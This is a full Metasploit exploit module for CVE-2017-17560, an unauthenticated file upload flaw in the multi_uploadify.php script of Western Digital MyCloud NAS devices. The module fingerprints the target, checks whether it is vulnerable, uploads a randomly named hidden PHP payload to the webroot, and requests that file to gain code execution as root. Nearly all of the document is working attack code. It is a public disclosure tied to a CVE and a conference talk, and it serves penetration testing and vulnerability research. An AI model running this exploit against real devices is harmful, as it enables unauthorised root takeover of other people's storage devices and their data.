Western Digital MyCloud – ‘multi_uploadify’ File Upload (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :method => 'HEAD', :uri => '/web/', :pattern => [/Apache/] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Western Digital MyCloud multi_uploadify File Upload Vulnerability', 'Description' => %q{ This module exploits a file upload vulnerability found in Western Digital's MyCloud NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php PHP script provides multipart upload functionality that is accessible without authentication and can be used to place a file anywhere on the device's file system. This allows an attacker the ability to upload a PHP shell onto the device and obtain arbitrary code execution as root. }, 'License' => MSF_LICENSE, 'Author' => [ 'Zenofex <zenofex[at]exploitee.rs>' # Initial vulnerability discovery, PoC, and Metasploit module ], 'References' => [ ['URL', 'https://www.exploitee.rs/index.php/Western_Digital_MyCloud#.2Fjquery.2Fuploader.2Fmulti_uploadify.php_.28added_08.2F06.2F2017.29'], ['URL', 'https://download.exploitee.rs/file/generic/Exploiteers-DEFCON25.pdf'], ['URL', 'https://www.youtube.com/watch?v=EO_49pfmA5A'], ['CVE', '2017-17560'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'Privileged' => true, 'DisclosureDate' => 'Jul 29 2017', 'DefaultTarget' => 0)) end def check res = send_request_cgi('uri' => '/web/jquery/uploader/multi_uploadify.php') if res.nil? vprint_error('Connection failed') return CheckCode::Unknown end if res.code == 302 && res.headers['Location'] =~ /\?status=1/ return CheckCode::Vulnerable end CheckCode::Safe end def upload(web_folder, fname, file) # construct post data data = Rex::MIME::Message.new data.add_part(file, 'application/x-php', nil, "form-data; name=\"Filedata[]\"; filename=\"#{fname}\"") # upload res = send_request_cgi({ 'method' => 'POST', 'uri' => '/web/jquery/uploader/multi_uploadify.php', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s, 'vars_get' => { 'folder' => web_folder } }) end def exploit if check != CheckCode::Vulnerable fail_with(Failure::NotVulnerable, 'Target does not appear to be a vulnerable Western Digital MyCloud device') end # upload PHP payload to '/var/www' (webroot). web_folder = '/var/www' php = "<?php #{payload.encoded} ?>" print_status("Uploading PHP payload (#{php.length} bytes) to '#{web_folder}'.") fname = ".#{rand_text_alphanumeric(rand(10) + 6)}.php" res = upload(web_folder, fname, php) # check upload response fail_with(Failure::Unreachable, 'No response received from the target.') unless res if res.code != 302 || res.headers['Location'] =~ /\?status=0/ fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)") end print_good('Uploaded PHP payload successfully.') # register uploaded php payload file for cleanup register_files_for_cleanup(fname) # retrieve and execute PHP payload print_status("Making request for '/#{fname}' to execute payload.") res = send_request_cgi({'uri' => normalize_uri(fname)}, 15) end end |